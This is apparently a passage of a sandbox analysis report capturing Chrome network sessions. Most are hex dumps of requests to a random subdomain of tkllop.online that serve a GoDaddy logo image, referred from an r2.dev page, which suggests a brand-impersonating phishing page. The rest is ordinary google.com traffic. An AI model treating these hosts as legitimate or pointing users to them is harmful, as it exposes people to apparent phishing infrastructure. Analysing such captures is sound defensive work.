1f 64 35 38 09 f7 aa c4 cb 81 7b 81 b3 a9 52 86 ab 5d f3 6d d8 1d d9 a3 3b 02 99 6d ba 1a 89 b7 22 7b 93 eb 3a 65 31 d2 Data Ascii: VU]%i7p#g} fC$T8e)o!x/$Hp rcSp:y{Yi^T`G]:t-LBXPr$R}K$Emh!KP^CT{3>PUEd58{R]m;m"{:e1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49779	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:10 UTC	364	OUT	GET /get_logo_banner/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	673	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Content-Type: application/json Content-Length: 10 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dugvkbKY1a0kTsvQDSIGTW45XK%2FKLuWH5jCcCTS2UfqJay6I9lOfvyIy7aoYBERWXORGpjN88dXtsXXiJ21cqVg%2By6IxKSkpD2Du4jlytbM0hUvfOu4a7LXXQYvYyq%2BhtxHo8uryXVVLpgM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf02076bbe9c44f-EWR
2024-10-07 18:59:10 UTC	10	IN	Data Raw: 7b 22 30 22 3a 20 22 30 22 7d Data Ascii: {"0": "0"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49780	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:10 UTC	640	OUT	GET /static/media/godaddy-left.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	826	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="godaddy-left.png" Last-Modified: Mon, 27 Nov 2023 04:08:52 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qvbca%2B3lgAkIggP0%2FJ6MA0iv2SX7YJttq1EVPS5xMAeRSzA7KxWlRfiAXVVR69jv933vP%2BoafTipnSaqzqLlV4NtWNogBDXBpkbZ33ph80Dn4W1E1ZcorqAMnsUcChzOycEH%2FhiBdVQ%2FylE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf02076bbd1430d-EWR
2024-10-07 18:59:10 UTC	543	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 77 74 e8 de 17 76 f9 0a a8 ac 6d 44 f8 35 ec d8 b8 06 69 69 92 bb 02 d5 aa 57 c7 9f 0b 17 b1 85 7a 2a 23 c9 1a 30 04 18 02 0c 01 c3 44 80 11 bd c0 fc 46 56 d5 77 0d e9 2c d5 aa 54 99 f2 08 ee de 17 a6 a6 b9 d5 d6 f4 e5 f3 a7 58 bf 7c 11 be 7c f9 4c 65 74 ef d1 03 a3 46 8e 64 be 57 1b 51 d6 90 21 c0 10 60 08 18 0e 02 6c b0 e7 c1 57 67 ce 9e e3 7e 9f 36 15 2f 5e bc e0 41 da 77 11 ae 6e 45 d1 7d c0 ff 60 66 66 a6 b1 dc 53 a1 07 70 e2 f0 3e a9 9c 21 43 87 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de Data Ascii: wtvmD5iiWz*#0DFVw,TX\|\|LetFdWQ!`lWg~6/^AwnE}`ffSp>!C"))O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 2a 8a 9a bc 65 db 36 94 f5 f2 e2 e5 da 32 26 0c c5 68 2b 0b 02 35 bc 7a e9 f2 15 ae 57 cf 1e b4 65 fe 02 05 b0 67 ef 3e 14 c8 67 a7 11 96 3f 0d 18 c0 9d 39 7d 9a ca ec d2 77 30 3c 4b 95 91 6a b6 7d e3 2a dc 0a bb 22 fd 9b 2c d4 23 24 5f d0 c1 51 0d ed f5 db 84 90 3d 49 e0 f3 ed db 37 aa 88 b5 b5 35 5d 29 ac ee 6e 05 59 6b 64 17 e1 0d 1c 38 10 e4 c5 0a 43 c0 98 10 e8 d9 b3 27 ae 5c 91 8c 15 4b 97 2d 87 7f 2d 3f 8d c6 25 63 c2 4e cc b6 b2 20 50 c3 bb 33 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 Data Ascii: e62&h+5zWeg>g?9}w0<Kj}",#$_Q=I75])nYkd8C'\K--?%cN P3g,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DE
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 37 9f 3f cb b9 a5 74 be 7c e8 5e aa 24 bc f2 e7 c3 e5 37 6f b1 f5 d1 63 3c 94 59 25 4d 2a d7 71 71 46 67 4f 4f 14 b1 b1 c6 d1 97 51 58 12 71 07 5f d2 d2 8c c5 bd cc 4e 0d 11 60 44 af 21 80 ac 39 d4 1a 50 8d 09 b7 df a7 4f e7 36 6e d8 40 4d ee d2 b5 1b c6 8e 19 cd 0b 66 59 cd e6 3f 26 c4 e3 f0 9e 6d b8 7d e3 1a 7e 1e 37 d5 28 9e d5 47 84 5f c3 d9 13 a1 78 9d 9e 06 b7 51 e3 c6 f8 63 ee 5c b5 30 e6 93 e8 ed 2d 2c 30 a9 72 25 34 73 97 fc f8 22 65 f7 d3 a7 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 Data Ascii: 7?t\|^$7oc<Y%M*qqFgOOQXq_N`D!9PO6n@MfY?&m}~7(G_xQc\0-,0r%4s"e}&Q1)%k%_vv~}L&NNpEf,17OkNT#,?E
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: a6 08 30 a2 d7 14 41 d6 5e e3 c1 55 6c 10 3e 79 fa 8c 6b d6 b4 09 35 cb c4 c4 84 66 c2 2b e1 51 9c 17 9c 82 82 82 b8 97 2f 5f 52 d9 05 1d 1c 11 fb 36 86 e6 b6 6f d6 b6 13 ec f2 e5 97 42 99 92 92 8c 13 87 f6 e1 fc a9 a3 74 cb 5d db 10 49 66 3e a1 96 47 f7 ef d2 59 fc 93 48 f9 95 e4 3d da 97 a5 b7 ea f3 db 59 e4 a8 fa 37 33 37 98 39 74 d4 18 63 46 f4 42 8d 10 a6 97 26 08 30 a2 d7 04 3d d6 96 72 19 83 41 1e 81 7f 57 ae e2 e6 fd 31 97 7e d8 30 28 08 f3 e7 cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 Data Ascii: 0A^Ul>yk5f+Q/_R6oBt]If>GYH=Y7379tcFB&0=rAW1~0(#Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: ee 8c e8 f9 8e 0a 26 4f 08 08 30 a2 17 82 17 0c 5b 07 8d 06 56 c3 36 fd bb f6 f5 ea 05 70 6f de c4 d0 0f 96 af f8 07 7e 35 6b f0 8e 4b 95 2a 55 b8 8c 85 7e 63 7f 9f 07 92 4d ee d0 ee ad 20 ab d9 ab d4 ac 83 fa 8d 5b d0 74 b7 19 25 29 31 91 e6 c0 bf 19 76 19 f6 0e 8e 34 07 7e 91 a2 c5 79 87 3c f9 eb 17 e9 6d fa 8c 1f 22 a4 93 4a e5 1d e9 73 78 ff 6a ca ef e5 af d0 60 0d d5 cf dc cc 14 57 0f 74 51 49 d7 54 0b 5f e4 29 10 a8 11 ee 8c e8 55 82 9c b7 ca 4e 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea Data Ascii: &O0[V6po~5kK*U~cM [t%)1v4~y<m"Jsxj`WtQIT_)UNV37G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 90 8c 51 45 97 f1 e3 7f e5 76 ed da 49 9b fc 34 60 20 86 0c 1e a4 55 2c 64 49 88 f4 59 a5 66 6d 04 36 69 45 17 e6 65 94 0c 02 bf 78 46 92 03 bf 71 ab 60 e9 2d fe 8c 3a e1 d7 2e d1 e7 f9 e4 56 7f cd 3a 81 99 52 e8 92 7a f7 6e 87 e3 c2 e9 63 78 f6 58 b2 f8 4f b6 1c df 12 0c fb fc fc ec c3 7f ff e1 0b ba 0c 3b 80 17 af 3e d2 2e c8 11 b5 7d 3a c9 af 2d 50 c6 27 5f f2 0d 80 b5 55 5e 8d f1 67 44 af 0c da 99 eb 84 94 f0 44 ef d2 a5 51 dc 56 18 27 24 66 68 78 f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 Data Ascii: QEvI4` U,dIYfm6iEexFq`-:.V:RzncxXO;>.}:-P'_U^gDDQV'$fhx{=I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 07 92 e6 b6 45 fb 10 7a 8a dd ed 1b d7 e8 22 3c f2 f7 8f a7 d4 25 c4 7f a0 cf e1 2f 9c 96 64 9f cb 28 01 7e 6e f4 36 7d 05 2f 07 ad 41 47 72 d8 93 67 f3 8d eb 15 43 93 80 62 b0 b2 d4 3c 53 5a aa 65 4d e4 c9 5f 8b 77 ec 19 d1 e7 1c 06 b3 aa 57 45 07 0f f9 ac 8a 5a 0b 1c 2d 0b fe f7 de 7d 4c bd 16 a6 e5 5e 84 21 9e 11 bd 30 fc 60 c8 5a f0 3e d8 0a 19 8c 7e fd fa 73 e7 ce 49 b6 9e 8d 19 3b 0e 5d bb 84 e8 dc fe a7 cf 5f 70 5d 43 42 10 97 7e db dd cc cc 0c 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 Data Ascii: Ez"<%/d(~n6}/AGrgCb<SZeM_wWEZ-}L^!0`Z>~sI;]_p]CB~&rn^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 6a 44 48 9e 90 bd 18 0b 23 7a 31 7a 55 b7 36 e9 65 40 d6 95 89 57 ae 85 71 3d ba 75 a5 dd b9 bb bb 63 cb b6 ed b0 b1 b2 14 b5 cd b2 d8 92 67 f7 a6 5f 6e c0 f4 eb 2d 98 70 ca af 90 56 cd 3f b9 90 96 a7 3c 52 2d 7c 60 65 ed a8 57 6c 19 d1 7f f7 9c 9d b9 39 0e 37 6d 0c 27 2b 2b d5 dc a9 a0 76 6a 5a 1a 76 85 9e 53 4b 66 f9 52 c5 51 aa 98 ab 5a 6d 15 35 ba f7 e1 03 1a ed 3f a8 a8 9a 41 7e cf 88 de 20 dd 26 28 a5 f5 3a 30 6b 1b 89 09 13 27 72 db b7 6d a3 dd f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 Data Ascii: jDH#z1zU6e@Wq=ucg_n-pV?<R-\|`eWl97m'++vjZvSKfRQZm5?A~ &(:0k'rm.j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: b7 46 e9 71 bf a4 a5 a1 fe de fd 88 4a 4a 52 db 66 a1 36 64 44 2f 54 cf 18 8e 5e 06 43 84 a7 cf 9c e5 c6 8e 19 8d 0f 1f 3e c8 a1 4b f6 e9 9a e7 c9 83 af 5f 32 9f ce 56 b1 a2 2f 66 cc 9a 85 22 85 5d 0c c6 4e c3 09 1d e1 69 ca 88 fe bb 4f cc 72 e5 c2 9e 46 41 f0 ca 9f 4f 65 47 a9 92 0c 47 65 e1 d9 34 b0 2f 60 47 c9 5e dd 72 f9 cd 5b 04 87 2a 9e 00 a8 2b 5f 9f ed 18 d1 eb 13 7d 71 f4 6d 10 04 78 23 fc 26 d7 a7 77 2f 7c fe fc 59 8a 7a e5 1a fe a8 e0 5b 15 6e c5 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e Data Ascii: FqJJRf6dD/T^C>K_2V/f"]NiOrFAOeGGe4/`G^r[+_}qmx#&w/\|Yz[n${t{\|FNF^<Tx~e\MuwSVC s.<\._~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49774	142.250.186.36	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:10 UTC	338	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	1762	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-slqG4AA9U2VC1wXWH3XxEg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: AEC=AVYB7cqNfe0Fd6OJM1GHZ1BvRkriC_uPYhSKLaOh2gP33_h9GUESKNx3sw; expires=Sat, 05-Apr-2025 18:59:10 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: NID=518=SV629MLjbjSY7R9XQNkTwqOzU4fpINqtWnGZd2VKvg9wYyBpTYpA1Yvuqjw_sFNJCg-EmplX9K3wSV2mqPCmWLYMJ6avhG6Ndd7sB1ba1yH_tPJL6P28hiZtF0OAm8ItgaMC-HbmUUvMnCel0ED3LfL-Y1ritqrx3v3BMcr4rEtbm9Mwl3aYe8LFq2PWO_xF2Ls; expires=Tue, 08-Apr-2025 18:59:10 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-07 18:59:10 UTC	1762	IN	Data Raw: 32 30 64 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e Data Ascii: 20df<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta charset="UTF-8"><meta content="origin" name="referrer"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>
2024-10-07 18:59:10 UTC	1762	IN	Data Raw: 2c 65 2c 64 2c 6b 29 29 3b 69 66 28 63 3d 72 28 63 29 29 7b 61 3d 6e 65 77 20 49 6d 61 67 65 3b 76 61 72 20 67 3d 6e 2e 6c 65 6e 67 74 68 3b 6e 5b 67 5d 3d 61 3b 61 2e 6f 6e 65 72 72 6f 72 3d 61 2e 6f 6e 6c 6f 61 64 3d 61 2e 6f 6e 61 62 6f 72 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 6e 5b 67 5d 7d 3b 61 2e 73 72 63 3d 63 7d 7d 3b 67 6f 6f 67 6c 65 2e 6c 6f 67 55 72 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 3d 62 3d 3d 3d 76 6f 69 64 20 30 3f 6c 3a 62 3b 72 65 74 75 72 6e 20 74 28 22 22 2c 61 2c 62 29 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 6f 6f 67 6c 65 2e 79 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 79 3d 5b 5d 3b 76 61 72 20 64 3b 28 64 3d 67 6f 6f 67 6c 65 29 2e 78 7c 7c 28 64 2e 78 Data Ascii: ,e,d,k));if(c=r(c)){a=new Image;var g=n.length;n[g]=a;a.onerror=a.onload=a.onabort=function(){delete n[g]};a.src=c}};google.logUrl=function(a,b){b=b===void 0?l:b;return t("",a,b)};}).call(this);(function(){google.y={};google.sy=[];var d;(d=google).x\|\|(d.x
2024-10-07 18:59:10 UTC	1762	IN	Data Raw: 6e 67 26 26 22 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 22 69 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2c 61 61 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 26 26 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 6e 73 2c 74 3d 72 3f 61 61 7c 7c 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 74 69 6d 69 6e 67 2e 6e 61 76 69 67 61 74 69 6f 6e 53 74 61 72 74 3a 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 2d 28 67 6f 6f 67 6c 65 2e 73 74 76 73 63 26 26 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e 70 6e 6f 7c 7c 30 29 7d 76 61 72 20 62 61 3d 67 6f 6f 67 6c 65 2e 73 74 76 73 63 26 26 67 6f 6f 67 6c 65 2e 73 74 76 73 63 2e Data Ascii: ng&&"navigationStart"in window.performance.timing,aa=google.stvsc&&google.stvsc.ns,t=r?aa\|\|window.performance.timing.navigationStart:void 0;function u(){return window.performance.now()-(google.stvsc&&google.stvsc.pno\|\|0)}var ba=google.stvsc&&google.stvsc.
2024-10-07 18:59:10 UTC	1762	IN	Data Raw: 61 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 62 2c 63 2c 64 7c 7c 21 31 29 3a 61 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 61 2e 64 65 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 62 2c 63 29 7d 3b 76 61 72 20 70 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 74 68 69 73 2e 67 3d 61 3b 74 68 69 73 2e 76 3d 5b 5d 3b 74 68 69 73 2e 42 3d 74 68 69 73 2e 67 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6e 6f 61 66 74 22 29 3b 74 68 69 73 2e 6a 3d 21 21 74 68 69 73 2e 67 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 65 66 65 72 72 65 64 22 29 3b 76 61 72 20 64 3b 69 66 28 64 3d 21 74 68 69 73 2e 6a 29 61 3a 7b 66 6f 72 28 64 3d 30 3b 64 3c 44 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 69 66 28 61 2e 67 65 74 Data Ascii: a.removeEventListener(b,c,d\|\|!1):a.attachEvent&&a.detachEvent("on"+b,c)};var pa=function(a,b,c){this.g=a;this.v=[];this.B=this.g.hasAttribute("data-noaft");this.j=!!this.g.getAttribute("data-deferred");var d;if(d=!this.j)a:{for(d=0;d<D.length;++d)if(a.get
2024-10-07 18:59:10 UTC	1375	IN	Data Raw: 22 69 6d 67 22 29 2c 63 3d 30 2c 64 3d 62 2e 6c 65 6e 67 74 68 3b 63 3c 64 3b 2b 2b 63 29 61 28 49 28 62 5b 63 5d 29 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 61 28 61 29 7b 69 66 28 61 26 26 28 61 3d 61 2e 74 61 72 67 65 74 2c 61 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 49 4d 47 22 29 29 7b 76 61 72 20 62 3d 44 61 74 65 2e 6e 6f 77 28 29 3b 47 28 49 28 61 2c 76 6f 69 64 20 30 2c 21 30 2c 21 30 29 2c 62 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 61 29 7b 67 6f 6f 67 6c 65 2e 63 2e 6f 69 6c 28 61 29 7d 3b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 3d 7b 7d 3b 67 6f 6f 67 6c 65 2e 73 74 61 72 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 67 6f 6f 67 6c 65 2e 74 69 6d 65 72 73 5b 61 5d 3d 7b 74 3a 7b 73 74 61 72 74 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 2c 65 3a 7b Data Ascii: "img"),c=0,d=b.length;c<d;++c)a(I(b[c]))};function ra(a){if(a&&(a=a.target,a.tagName==="IMG")){var b=Date.now();G(I(a,void 0,!0,!0),b)}}function K(a){google.c.oil(a)};google.timers={};google.startTick=function(a){google.timers[a]={t:{start:Date.now()},e:{
